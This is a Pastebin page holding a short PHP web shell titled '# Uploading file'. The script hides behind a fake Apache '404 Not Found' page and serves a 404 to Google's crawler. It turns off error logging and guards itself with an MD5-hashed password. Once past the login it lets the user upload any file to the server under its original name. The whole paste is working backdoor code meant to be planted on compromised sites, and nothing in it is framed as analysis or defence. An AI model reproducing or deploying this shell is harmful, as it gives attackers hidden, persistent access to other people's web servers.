Advertisement
Guest User

ŤǎpΌṯЗ # Uploading file

a guest
Sep 14th, 2014
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.88 KB | None | 0 0
  1. <?php
  2.  
  3. $auth_pass = "e10adc3949ba59abbe56e057f20f883e";
  4. $color = "#00ff00";
  5. $default_action = 'FilesMan';
  6. @define('SELF_PATH', __FILE__);
  7. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  8.     header('HTTP/1.0 404 Not Found');
  9.     exit;
  10. }
  11. @session_start();
  12. @error_reporting(0);
  13. @ini_set('error_log',NULL);
  14. @ini_set('log_errors',0);
  15. @ini_set('max_execution_time',0);
  16. @set_time_limit(0);
  17. @set_magic_quotes_runtime(0);
  18. @define('VERSION', '2.1');
  19. if( get_magic_quotes_gpc() ) {
  20.     function stripslashes_array($array) {
  21.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  22.     }
  23.     $_POST = stripslashes_array($_POST);
  24. }
  25. function printLogin() {
  26.     ?>
  27. <h1>Not Found</h1>
  28. <p>The requested URL was not found on this server.</p>
  29. <hr>
  30. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  31.     <style>
  32.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  33.     </style>
  34.     <center>
  35.     <form method=post>
  36.     <input type=password name=pass>
  37.     </form></center>
  38.     <?php
  39.     exit;
  40. }
  41. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  42.     if( empty( $auth_pass ) ||
  43.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  44.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  45.     else
  46.         printLogin();
  47.  
  48. if(isset($_POST['Submit'])){
  49.     $filedir = "";
  50.     $maxfile = '2000000';
  51.  
  52.     $userfile_name = $_FILES['image']['name'];
  53.     $userfile_tmp = $_FILES['image']['tmp_name'];
  54.     if (isset($_FILES['image']['name'])) {
  55.         $abod = $filedir.$userfile_name;
  56.         @move_uploaded_file($userfile_tmp, $abod);
  57.  
  58. echo"<center><b> Don3 ==> $userfile_name</b></center>";
  59. }
  60. }
  61. else{
  62. echo'
  63. <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="رفع"></form>';
  64. }
  65. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement